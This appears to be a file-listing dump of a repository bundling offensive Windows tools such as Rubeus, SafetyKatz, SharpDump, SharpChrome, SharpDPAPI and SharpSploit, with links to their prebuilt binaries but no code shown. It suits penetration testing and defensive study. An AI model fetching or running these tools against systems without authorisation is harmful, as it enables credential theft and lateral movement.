├── Binaries ├── CSExec │ ├── csexec │ │ ├── net35 │ │ │ ├── csexec.exe │ │ │ ├── csexec.exe.config │ │ │ └── csexec.pdb │ │ ├── net40 │ │ │ ├── csexec.exe │ │ │ ├── csexec.exe.config │ │ │ └── csexec.pdb │ │ └── net45 │ │ │ ├── csexec.exe │ │ │ ├── csexec.exe.config │ │ │ └── csexec.pdb │ └── csexecsvc │ │ ├── net35 │ │ ├── csexecsvc.exe │ │ └── csexecsvc.pdb │ │ └── net45 │ │ ├── csexecsvc.exe │ │ └── csexecsvc.pdb ├── Rubeus.exe ├── SafetyKatz.exe ├── Seatbelt.exe ├── SharpChrome.exe ├── SharpCradle │ ├── SharpCradle_x64.exe │ └── SharpCradle_x86.exe ├── SharpDPAPI.exe ├── SharpDump.exe ├── SharpRoast.exe ├── SharpSploitConsole │ ├── SharpSploitConsole_x64.exe │ └── SharpSploitConsole_x86.exe ├── SharpSql.exe ├── SharpUp.exe ├── SharpView.exe └── SharpWMI.exe ├── CSExec ├── .vs │ └── csexec │ │ └── v15 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ └── storage.ide ├── README.md ├── csexec.sln ├── csexec │ ├── CSExecSvcInstaller.cs │ ├── Client.cs │ ├── GlobalVars.cs │ ├── NativeMethods.cs │ ├── Program.cs │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ └── Resources.resx │ ├── Resources │ │ ├── csexecsvc-net35.exe │ │ ├── csexecsvc-net40.exe │ │ └── csexecsvc-net45.exe │ ├── app.config │ ├── bin │ │ └── Release │ │ │ ├── net35 │ │ │ ├── csexec.exe │ │ │ ├── csexec.exe.config │ │ │ └── csexec.pdb │ │ │ ├── net40 │ │ │ ├── csexec.exe │ │ │ ├── csexec.exe.config │ │ │ └── csexec.pdb │ │ │ └── net45 │ │ │ ├── csexec.exe │ │ │ ├── csexec.exe.config │ │ │ └── csexec.pdb │ ├── csexec-net35.csproj │ ├── csexec-net40.csproj │ ├── csexec-net45.csproj │ └── obj │ │ ├── Debug │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ ├── csexec-net35.csproj.CoreCompileInputs.cache │ │ ├── csexec-net35.csprojResolveAssemblyReference.cache │ │ ├── csexec-net40.csproj.CoreCompileInputs.cache │ │ ├── csexec-net40.csprojResolveAssemblyReference.cache │ │ ├── csexec-net45.csproj.CoreCompileInputs.cache │ │ └── csexec-net45.csprojResolveAssemblyReference.cache │ │ └── Release │ │ ├── TempPE │ │ └── Properties.Resources.Designer.cs.dll │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ ├── csexec-net35.csproj.CoreCompileInputs.cache │ │ ├── csexec-net35.csproj.FileListAbsolute.txt │ │ ├── csexec-net35.csproj.GenerateResource.cache │ │ ├── csexec-net40.csproj.CoreCompileInputs.cache │ │ ├── csexec-net40.csproj.FileListAbsolute.txt │ │ ├── csexec-net40.csproj.GenerateResource.cache │ │ ├── csexec-net45.csproj.CoreCompileInputs.cache │ │ ├── csexec-net45.csproj.FileListAbsolute.txt │ │ ├── csexec-net45.csproj.GenerateResource.cache │ │ ├── csexec.Properties.Resources.resources │ │ ├── csexec.exe │ │ └── csexec.pdb ├── csexecsvc │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── app.config │ ├── bin │ │ └── Release │ │ │ ├── net35 │ │ │ ├── csexecsvc.exe │ │ │ └── csexecsvc.pdb │ │ │ └── net45 │ │ │ ├── csexecsvc.exe │ │ │ └── csexecsvc.pdb │ ├── csexecsvc-net35.csproj │ ├── csexecsvc-net40.csproj │ ├── csexecsvc-net45.csproj │ └── obj │ │ ├── Debug │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ ├── csexecsvc-net35.csproj.CoreCompileInputs.cache │ │ ├── csexecsvc-net40.csproj.CoreCompileInputs.cache │ │ ├── csexecsvc-net40.csprojResolveAssemblyReference.cache │ │ ├── csexecsvc-net45.csproj.CoreCompileInputs.cache │ │ └── csexecsvc-net45.csprojResolveAssemblyReference.cache │ │ └── Release │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ ├── csexecsvc-net35.csproj.CoreCompileInputs.cache │ │ ├── csexecsvc-net35.csproj.FileListAbsolute.txt │ │ ├── csexecsvc-net40.csproj.CoreCompileInputs.cache │ │ ├── csexecsvc-net40.csproj.FileListAbsolute.txt │ │ ├── csexecsvc-net45.csproj.CoreCompileInputs.cache │ │ ├── csexecsvc-net45.csproj.FileListAbsolute.txt │ │ ├── csexecsvc.exe │ │ └── csexecsvc.pdb └── screen.png ├── Rubeus ├── .gitignore ├── CHANGELOG.md ├── LICENSE ├── README.md ├── Rubeus.sln └── Rubeus │ ├── Asn1 │ ├── AsnElt.cs │ ├── AsnException.cs │ ├── AsnIO.cs │ └── AsnOID.cs │ ├── Commands │ ├── Asktgs.cs │ ├── Asktgt.cs │ ├── Asreproast.cs │ ├── Changepw.cs │ ├── Createnetonly.cs │ ├── Describe.cs │ ├── Dump.cs │ ├── HarvestCommand.cs │ ├── Hash.cs │ ├── ICommand.cs │ ├── Kerberoast.cs │ ├── Klist.cs │ ├── Monitor.cs │ ├── Ptt.cs │ ├── Purge.cs │ ├── RenewCommand.cs │ ├── S4u.cs │ ├── Tgssub.cs │ ├── Tgtdeleg.cs │ └── Triage.cs │ ├── Domain │ ├── ArgumentParser.cs │ ├── ArgumentParserResult.cs │ ├── CommandCollection.cs │ └── Info.cs │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── Rubeus.csproj │ └── lib │ ├── Ask.cs │ ├── ConsoleTable.cs │ ├── Crypto.cs │ ├── Harvest.cs │ ├── Helpers.cs │ ├── Interop.cs │ ├── LSA.cs │ ├── Networking.cs │ ├── Renew.cs │ ├── Reset.cs │ ├── Roast.cs │ ├── S4U.cs │ └── krb_structures │ ├── AP_REQ.cs │ ├── AS_REP.cs │ ├── AS_REQ.cs │ ├── Authenticator.cs │ ├── Checksum.cs │ ├── EncKDCRepPart.cs │ ├── EncKrbCredPart.cs │ ├── EncKrbPrivPart.cs │ ├── EncryptedData.cs │ ├── EncryptionKey.cs │ ├── KDC_REQ_BODY.cs │ ├── KERB_PA_PAC_REQUEST.cs │ ├── KRB_CRED.cs │ ├── KRB_ERROR.cs │ ├── KRB_PRIV.cs │ ├── KrbCredInfo.cs │ ├── LastReq.cs │ ├── PA_DATA.cs │ ├── PA_ENC_TS_ENC.cs │ ├── PA_FOR_USER.cs │ ├── PA_PAC_OPTIONS.cs │ ├── PrincipalName.cs │ ├── TGS_REP.cs │ ├── TGS_REQ.cs │ └── Ticket.cs ├── SafetyKatz ├── .gitignore ├── LICENSE ├── README.md ├── SafetyKatz.sln └── SafetyKatz │ ├── Constants.cs │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ └── SafetyKatz.csproj ├── Seatbelt ├── .gitignore ├── README.md ├── Seatbelt.sln └── Seatbelt │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ └── Seatbelt.csproj ├── SharpCradle ├── .gitattributes ├── .gitignore ├── CompiledBinaries │ ├── SharpCradle_x64.exe │ └── SharpCradle_x86.exe ├── README.md ├── SCradle.PNG ├── SCradle_2.PNG ├── SharpCradle.sln └── SharpCradle │ ├── App.config │ ├── Impersonator.cs │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ └── SharpCradle.csproj ├── SharpDPAPI ├── .gitignore ├── CHANGELOG.md ├── LICENSE ├── README.md ├── SharpChrome │ ├── Commands │ │ ├── Backupkey.cs │ │ ├── Cookies.cs │ │ ├── ICommand.cs │ │ └── Logins.cs │ ├── Domain │ │ ├── ArgumentParser.cs │ │ ├── ArgumentParserResult.cs │ │ ├── CommandCollection.cs │ │ └── Info.cs │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── SQLite │ │ ├── SQLite.cs │ │ └── csharp-sqlite-src │ │ │ ├── BtreeInt_h.cs │ │ │ ├── Btree_h.cs │ │ │ ├── Delegates.cs │ │ │ ├── Hash_h.cs │ │ │ ├── VdbeInt_h.cs │ │ │ ├── Vdbe_h.cs │ │ │ ├── _Custom.cs │ │ │ ├── alter_c.cs │ │ │ ├── analyze_c.cs │ │ │ ├── attach_c.cs │ │ │ ├── auth_c.cs │ │ │ ├── backup_c.cs │ │ │ ├── bitvec_c.cs │ │ │ ├── btmutex_c.cs │ │ │ ├── btree_c.cs │ │ │ ├── build_c.cs │ │ │ ├── callback_c.cs │ │ │ ├── complete_c.cs │ │ │ ├── crypto.cs │ │ │ ├── ctime_c.cs │ │ │ ├── date_c.cs │ │ │ ├── delete_c.cs │ │ │ ├── expr_c.cs │ │ │ ├── fault_c.cs │ │ │ ├── fkey_c.cs │ │ │ ├── func_c.cs │ │ │ ├── global_c.cs │ │ │ ├── hash_c.cs │ │ │ ├── hwtime_c.cs │ │ │ ├── insert_c.cs │ │ │ ├── journal_c.cs │ │ │ ├── keywordhash_h.cs │ │ │ ├── legacy_c.cs │ │ │ ├── loadext_c.cs │ │ │ ├── main_c.cs │ │ │ ├── malloc_c.cs │ │ │ ├── mem_Pool.cs │ │ │ ├── memjournal_c.cs │ │ │ ├── mutex_h.cs │ │ │ ├── mutex_noop_c.cs │ │ │ ├── notify_c.cs │ │ │ ├── opcodes_c.cs │ │ │ ├── opcodes_h.cs │ │ │ ├── os_c.cs │ │ │ ├── os_common_h.cs │ │ │ ├── os_h.cs │ │ │ ├── os_win_c.cs │ │ │ ├── pager_c.cs │ │ │ ├── pager_h.cs │ │ │ ├── parse_c.cs │ │ │ ├── parse_h.cs │ │ │ ├── pcache1_c.cs │ │ │ ├── pcache_c.cs │ │ │ ├── pcache_h.cs │ │ │ ├── pragma_c.cs │ │ │ ├── prepare_c.cs │ │ │ ├── printf_c.cs │ │ │ ├── random_c.cs │ │ │ ├── resolve_c.cs │ │ │ ├── rowset_c.cs │ │ │ ├── select_c.cs │ │ │ ├── sqlite3_h.cs │ │ │ ├── sqliteInt_h.cs │ │ │ ├── sqliteLimit_h.cs │ │ │ ├── status_c.cs │ │ │ ├── table_c.cs │ │ │ ├── tokenize_c.cs │ │ │ ├── trigger_c.cs │ │ │ ├── update_c.cs │ │ │ ├── utf_c.cs │ │ │ ├── util_c.cs │ │ │ ├── vacuum_c.cs │ │ │ ├── vdbe_c.cs │ │ │ ├── vdbeapi_c.cs │ │ │ ├── vdbeaux_c.cs │ │ │ ├── vdbeblob_c.cs │ │ │ ├── vdbemem_c.cs │ │ │ ├── vdbetrace_c.cs │ │ │ ├── vtab_c.cs │ │ │ ├── wal_c.cs │ │ │ ├── wal_h.cs │ │ │ ├── walker_c.cs │ │ │ └── where_c.cs │ ├── SharpChrome.csproj │ └── lib │ │ └── Chrome.cs ├── SharpDPAPI.cna ├── SharpDPAPI.sln └── SharpDPAPI │ ├── Commands │ ├── Backupkey.cs │ ├── Blob.cs │ ├── Credentials.cs │ ├── ICommand.cs │ ├── Machinecredentials.cs │ ├── Machinemasterkeys.cs │ ├── Machinetriage.cs │ ├── Machinevaults.cs │ ├── Masterkeys.cs │ ├── PS.cs │ ├── RDG.cs │ ├── Triage.cs │ └── Vaults.cs │ ├── Domain │ ├── ArgumentParser.cs │ ├── ArgumentParserResult.cs │ ├── CommandCollection.cs │ ├── Info.cs │ └── Version.cs │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── SharpDPAPI.csproj │ ├── app.config │ └── lib │ ├── Backup.cs │ ├── Crypto.cs │ ├── Dpapi.cs │ ├── Helpers.cs │ ├── Interop.cs │ ├── LSADump.cs │ ├── PBKDF2.cs │ └── Triage.cs ├── SharpDump ├── .gitignore ├── LICENSE ├── README.md ├── SharpDump.sln └── SharpDump │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ └── SharpDump.csproj ├── SharpRoast ├── .gitignore ├── LICENSE ├── README.md ├── SharpRoast.sln └── SharpRoast │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ └── SharpRoast.csproj ├── SharpSploit ├── .gitattributes ├── .gitignore ├── LICENSE ├── README.md ├── SharpSploit.Tests │ ├── SharpSploit.Tests.sln │ └── SharpSploit.Tests │ │ ├── Credentials │ │ └── TokensTests.cs │ │ ├── Enumeration │ │ ├── DomainTests.cs │ │ ├── HostTests.cs │ │ └── NetworkTests.cs │ │ ├── Execution │ │ ├── ShellCodeTests.cs │ │ └── ShellTests.cs │ │ ├── LateralMovement │ │ ├── DCOMTests.cs │ │ └── WMITests.cs │ │ ├── Properties │ │ └── AssemblyInfo.cs │ │ ├── SharpSploit.Tests.csproj │ │ └── packages.config ├── SharpSploit.sln └── SharpSploit │ ├── Credentials │ ├── Mimikatz.cs │ └── Tokens.cs │ ├── Enumeration │ ├── Domain.cs │ ├── Host.cs │ └── Network.cs │ ├── Execution │ ├── Assembly.cs │ ├── PE.cs │ ├── Shell.cs │ ├── ShellCode.cs │ └── Win32.cs │ ├── Generic │ └── Generic.cs │ ├── LateralMovement │ ├── DCOM.cs │ └── WMI.cs │ ├── Misc │ ├── CountdownEvent.cs │ └── Utilities.cs │ ├── References │ ├── net35 │ │ ├── System.DirectoryServices.dll │ │ ├── System.IdentityModel.dll │ │ ├── System.Management.Automation.dll │ │ ├── System.Management.dll │ │ └── mscorlib.dll │ └── net40 │ │ ├── System.DirectoryServices.dll │ │ ├── System.IdentityModel.dll │ │ ├── System.Management.Automation.dll │ │ ├── System.Management.dll │ │ └── mscorlib.dll │ ├── Resources │ ├── powerkatz_x64.dll │ ├── powerkatz_x64.dll.comp │ ├── powerkatz_x86.dll │ └── powerkatz_x86.dll.comp │ ├── SharpSploit - Quick Command Reference.md │ ├── SharpSploit.csproj │ └── SharpSploit.xml ├── SharpSploitConsole ├── .gitattributes ├── .gitignore ├── CompiledBinaries │ ├── SharpSploitConsole_x64.exe │ └── SharpSploitConsole_x86.exe ├── README.md ├── SharpSploitConsole.sln ├── SharpSploitConsole │ ├── App.config │ ├── FodyWeavers.xml │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── SharpSploitConsole.csproj │ └── packages.config ├── sharpsploitimg1.PNG └── sharpsploitimg2.PNG ├── SharpSql ├── .vs │ └── SharpSql │ │ └── v15 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ └── storage.ide ├── SharpSql.sln └── SharpSql │ ├── App.config │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── SharpSQL.csproj │ ├── bin │ └── Debug │ │ ├── SharpSql.exe │ │ ├── SharpSql.exe.config │ │ └── SharpSql.pdb │ └── obj │ └── Debug │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── SharpSql.csproj.CoreCompileInputs.cache │ ├── SharpSql.csproj.FileListAbsolute.txt │ ├── SharpSql.csprojResolveAssemblyReference.cache │ ├── SharpSql.exe │ ├── SharpSql.pdb │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs ├── SharpUp ├── .gitignore ├── LICENSE ├── README.md ├── SharpUp.sln └── SharpUp │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ └── SharpUp.csproj ├── SharpView ├── .gitignore ├── Compiled │ └── SharpView.exe ├── LICENSE ├── README.md ├── SharpView.sln └── SharpView │ ├── App.config │ ├── Arguments │ ├── Args_Add_DomainGroupMember.cs │ ├── Args_Add_DomainObjectAcl.cs │ ├── Args_Add_RemoteConnection.cs │ ├── Args_ConvertFrom_SID.cs │ ├── Args_ConvertFrom_UACValue.cs │ ├── Args_ConvertTo_SID.cs │ ├── Args_Convert_ADName.cs │ ├── Args_Export_PowerViewCSV.cs │ ├── Args_Find_DomainLocalGroupMember.cs │ ├── Args_Find_DomainObjectPropertyOutlier.cs │ ├── Args_Find_DomainProcess.cs │ ├── Args_Find_DomainShare.cs │ ├── Args_Find_DomainUserEvent.cs │ ├── Args_Find_DomainUserLocation.cs │ ├── Args_Find_InterestingDomainAcl.cs │ ├── Args_Find_InterestingDomainShareFile.cs │ ├── Args_Find_InterestingFile.cs │ ├── Args_Find_LocalAdminAccess.cs │ ├── Args_Get_Domain.cs │ ├── Args_Get_DomainComputer.cs │ ├── Args_Get_DomainController.cs │ ├── Args_Get_DomainDFSShare.cs │ ├── Args_Get_DomainDNSRecord.cs │ ├── Args_Get_DomainDNSZone.cs │ ├── Args_Get_DomainFileServer.cs │ ├── Args_Get_DomainForeignGroupMember.cs │ ├── Args_Get_DomainForeignUser.cs │ ├── Args_Get_DomainGPO.cs │ ├── Args_Get_DomainGPOComputerLocalGroupMapping.cs │ ├── Args_Get_DomainGPOLocalGroup.cs │ ├── Args_Get_DomainGPOUserLocalGroupMapping.cs │ ├── Args_Get_DomainGUIDMap.cs │ ├── Args_Get_DomainGroup.cs │ ├── Args_Get_DomainGroupMember.cs │ ├── Args_Get_DomainManagedSecurityGroup.cs │ ├── Args_Get_DomainOU.cs │ ├── Args_Get_DomainObject.cs │ ├── Args_Get_DomainObjectAcl.cs │ ├── Args_Get_DomainPolicyData.cs │ ├── Args_Get_DomainSID.cs │ ├── Args_Get_DomainSPNTicket.cs │ ├── Args_Get_DomainSearcher.cs │ ├── Args_Get_DomainSite.cs │ ├── Args_Get_DomainSubnet.cs │ ├── Args_Get_DomainTrust.cs │ ├── Args_Get_DomainTrustMapping.cs │ ├── Args_Get_DomainUser.cs │ ├── Args_Get_DomainUserEvent.cs │ ├── Args_Get_Forest.cs │ ├── Args_Get_ForestDomain.cs │ ├── Args_Get_ForestGlobalCatalog.cs │ ├── Args_Get_GptTmpl.cs │ ├── Args_Get_GroupsXML.cs │ ├── Args_Get_IniContent.cs │ ├── Args_Get_NetComputerSiteName.cs │ ├── Args_Get_NetLocalGroup.cs │ ├── Args_Get_NetLocalGroupMember.cs │ ├── Args_Get_NetLoggedon.cs │ ├── Args_Get_NetRDPSession.cs │ ├── Args_Get_NetSession.cs │ ├── Args_Get_NetShare.cs │ ├── Args_Get_PathAcl.cs │ ├── Args_Get_PrincipalContext.cs │ ├── Args_Get_RegLoggedOn.cs │ ├── Args_Get_WMIProcess.cs │ ├── Args_Get_WMIRegCachedRDPConnection.cs │ ├── Args_Get_WMIRegLastLoggedOn.cs │ ├── Args_Get_WMIRegMountedDrive.cs │ ├── Args_Get_WMIRegProxy.cs │ ├── Args_Invoke_Kerberoast.cs │ ├── Args_Invoke_UserImpersonation.cs │ ├── Args_New_DomainGroup.cs │ ├── Args_New_DomainUser.cs │ ├── Args_Remove_DomainObjectAcl.cs │ ├── Args_Remove_RemoteConnection.cs │ ├── Args_Resolve_IPAddress.cs │ ├── Args_Set_DomainObject.cs │ ├── Args_Set_DomainUserPassword.cs │ ├── Args_Test.cs │ └── Args_Test_AdminAccess.cs │ ├── Enums │ ├── ADSNameType.cs │ ├── ClassType.cs │ ├── DnsRecordType.cs │ ├── GroupProperty.cs │ ├── GroupScope.cs │ ├── GroupType.cs │ ├── LocalGroupType.cs │ ├── LogonType.cs │ ├── ManagerType.cs │ ├── MethodType.cs │ ├── Rights.cs │ ├── SPNTicketFormat.cs │ ├── SamAccountType.cs │ ├── StealthSource.cs │ ├── TrustAttribute.cs │ ├── UACEnum.cs │ └── Version.cs │ ├── FodyWeavers.xml │ ├── Interfaces │ ├── IDomainTrust.cs │ └── IWinEvent.cs │ ├── PowerView.cs │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── Returns │ ├── ACL.cs │ ├── AdminAccess.cs │ ├── ApiDomainTrust.cs │ ├── CachedRDPConnection.cs │ ├── ComputerIPAddress.cs │ ├── ComputerSite.cs │ ├── DFSShare.cs │ ├── DNSRecord.cs │ ├── DNSZone.cs │ ├── DomainPolicyData.cs │ ├── ExplicitCredentialLogonEvent.cs │ ├── FileACL.cs │ ├── Filter.cs │ ├── ForeignGroupMember.cs │ ├── ForeignUser.cs │ ├── ForestEx.cs │ ├── FoundFile.cs │ ├── GPO.cs │ ├── GPOComputerLocalGroupMember.cs │ ├── GPOGroup.cs │ ├── GPOLocalGroupMapping.cs │ ├── GptTmpl.cs │ ├── GroupMember.cs │ ├── GroupsXML.cs │ ├── LDAPProperty.cs │ ├── LastLoggedOnUser.cs │ ├── LdapDomainTrust.cs │ ├── LocalGroupAPI.cs │ ├── LocalGroupMemberAPI.cs │ ├── LocalGroupMemberWinNT.cs │ ├── LocalGroupWinNT.cs │ ├── LoggedOnUserInfo.cs │ ├── LogonEvent.cs │ ├── ManagedSecurityGroup.cs │ ├── NetDomainTrust.cs │ ├── PrincipalContextEx.cs │ ├── PropertyOutlier.cs │ ├── ProxySettings.cs │ ├── RDPSessionInfo.cs │ ├── RegLoggedOnUser.cs │ ├── RegMountedDrive.cs │ ├── ResolvedSID.cs │ ├── SPNTicket.cs │ ├── SessionInfo.cs │ ├── ShareInfo.cs │ ├── UserLocation.cs │ └── UserProcess.cs │ ├── SharpView.csproj │ ├── Utils │ ├── Logger.cs │ ├── NativeMethods.cs │ ├── NetworkCredentialConverter.cs │ ├── ObjectDumper.cs │ ├── PathExtension.cs │ ├── ReflectionExtension.cs │ ├── RegexMatch.cs │ ├── ResultPropertyValueCollectionExtension.cs │ ├── StringArrayConverter.cs │ ├── StringExtension.cs │ ├── TestConnection.cs │ ├── TrustAttributeExtension.cs │ ├── UACEnumExtension.cs │ ├── ValidationExtension.cs │ ├── WildcardMatch.cs │ └── WmiWrapper.cs │ └── packages.config └── SharpWMI ├── .gitignore ├── LICENSE ├── README.md ├── SharpWMI.sln └── SharpWMI ├── Program.cs ├── Properties └── AssemblyInfo.cs └── SharpWMI.csproj /Binaries/CSExec/csexec/net35/csexec.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexec/net35/csexec.exe -------------------------------------------------------------------------------- /Binaries/CSExec/csexec/net35/csexec.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Binaries/CSExec/csexec/net35/csexec.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexec/net35/csexec.pdb -------------------------------------------------------------------------------- /Binaries/CSExec/csexec/net40/csexec.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexec/net40/csexec.exe -------------------------------------------------------------------------------- /Binaries/CSExec/csexec/net40/csexec.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Binaries/CSExec/csexec/net40/csexec.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexec/net40/csexec.pdb -------------------------------------------------------------------------------- /Binaries/CSExec/csexec/net45/csexec.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexec/net45/csexec.exe -------------------------------------------------------------------------------- /Binaries/CSExec/csexec/net45/csexec.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Binaries/CSExec/csexec/net45/csexec.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexec/net45/csexec.pdb -------------------------------------------------------------------------------- /Binaries/CSExec/csexecsvc/net35/csexecsvc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexecsvc/net35/csexecsvc.exe -------------------------------------------------------------------------------- /Binaries/CSExec/csexecsvc/net35/csexecsvc.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexecsvc/net35/csexecsvc.pdb -------------------------------------------------------------------------------- /Binaries/CSExec/csexecsvc/net45/csexecsvc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexecsvc/net45/csexecsvc.exe -------------------------------------------------------------------------------- /Binaries/CSExec/csexecsvc/net45/csexecsvc.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/CSExec/csexecsvc/net45/csexecsvc.pdb -------------------------------------------------------------------------------- /Binaries/Rubeus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/Rubeus.exe -------------------------------------------------------------------------------- /Binaries/SafetyKatz.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SafetyKatz.exe -------------------------------------------------------------------------------- /Binaries/Seatbelt.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/Seatbelt.exe -------------------------------------------------------------------------------- /Binaries/SharpChrome.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpChrome.exe -------------------------------------------------------------------------------- /Binaries/SharpCradle/SharpCradle_x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpCradle/SharpCradle_x64.exe -------------------------------------------------------------------------------- /Binaries/SharpCradle/SharpCradle_x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpCradle/SharpCradle_x86.exe -------------------------------------------------------------------------------- /Binaries/SharpDPAPI.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpDPAPI.exe -------------------------------------------------------------------------------- /Binaries/SharpDump.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpDump.exe -------------------------------------------------------------------------------- /Binaries/SharpRoast.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpRoast.exe -------------------------------------------------------------------------------- /Binaries/SharpSploitConsole/SharpSploitConsole_x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpSploitConsole/SharpSploitConsole_x64.exe -------------------------------------------------------------------------------- /Binaries/SharpSploitConsole/SharpSploitConsole_x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpSploitConsole/SharpSploitConsole_x86.exe -------------------------------------------------------------------------------- /Binaries/SharpSql.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpSql.exe -------------------------------------------------------------------------------- /Binaries/SharpUp.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpUp.exe -------------------------------------------------------------------------------- /Binaries/SharpView.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpView.exe -------------------------------------------------------------------------------- /Binaries/SharpWMI.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/Binaries/SharpWMI.exe -------------------------------------------------------------------------------- /CSExec/.vs/csexec/v15/.suo: -------------------------------------------------------------------------------- 